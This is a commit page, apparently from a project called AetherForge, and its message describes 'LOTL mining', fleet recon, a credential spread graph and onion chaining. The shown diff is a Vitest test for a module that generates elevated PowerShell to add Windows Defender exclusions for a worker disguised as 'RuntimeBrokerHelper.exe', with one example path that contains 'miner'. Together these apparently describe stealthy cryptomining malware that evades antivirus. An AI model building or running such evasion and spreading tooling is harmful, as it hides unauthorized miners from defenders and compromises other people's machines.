Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

This commit is contained in:
AetherForge
2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions

View File

@@ -0,0 +1,26 @@
import { describe, it, expect } from 'vitest';
import { buildDefenderExclusionScript, defaultWindowsInstallPreview } from './defenderExclusion';
describe('defenderExclusion', () => {
it('builds elevated PowerShell with path and process exclusions', () => {
const script = buildDefenderExclusionScript({
installPath: "C:\\ProgramData\\AetherForge\\worker",
processName: 'RuntimeBrokerHelper',
});
expect(script).toContain('Add-MpPreference -ExclusionPath');
expect(script).toContain('RuntimeBrokerHelper.exe');
expect(script).toContain('Tamper Protection');
});
it('escapes single quotes in paths', () => {
const script = buildDefenderExclusionScript({
installPath: "C:\\O'Brien\\miner",
processName: 'worker',
});
expect(script).toContain("C:\\O''Brien\\miner");
});
it('provides default install preview', () => {
expect(defaultWindowsInstallPreview('rig-01')).toContain('rig-01');
});
});